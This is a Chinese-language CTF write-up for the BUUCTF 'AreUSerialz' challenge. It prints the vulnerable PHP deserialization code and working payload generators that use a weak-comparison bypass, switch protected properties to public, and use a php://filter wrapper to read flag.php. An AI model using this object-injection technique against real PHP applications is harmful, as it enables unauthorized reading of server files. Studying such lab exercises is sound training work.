Buuctf——[网鼎杯 2020 青龙组]AreUSerialz

这是一道序列化的题目

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {     //op是1可以写
        if($this->op == "1") {
            $this->write(); 
        } else if($this->op == "2") {    //op是2可以读，此处为弱类型比较，可以是数字2
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")   //强类型比较，实例销毁时若op===2则覆盖写入空
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析可知，设置op为数字2，可以绕过_destruct方法。使用如下payload

<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content="aaa";

}

$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
echo $b;

结果发现没有一点回显，考虑是没有反序列化。继续查看源码发现有一个is_valid()函数，要求字符串里的字符ascii只能在32到125之间。而protected字段反序列化后会生成%00*%00。不满足要求，于是将protected改为public

<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content="aaa";

}

$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
echo $b;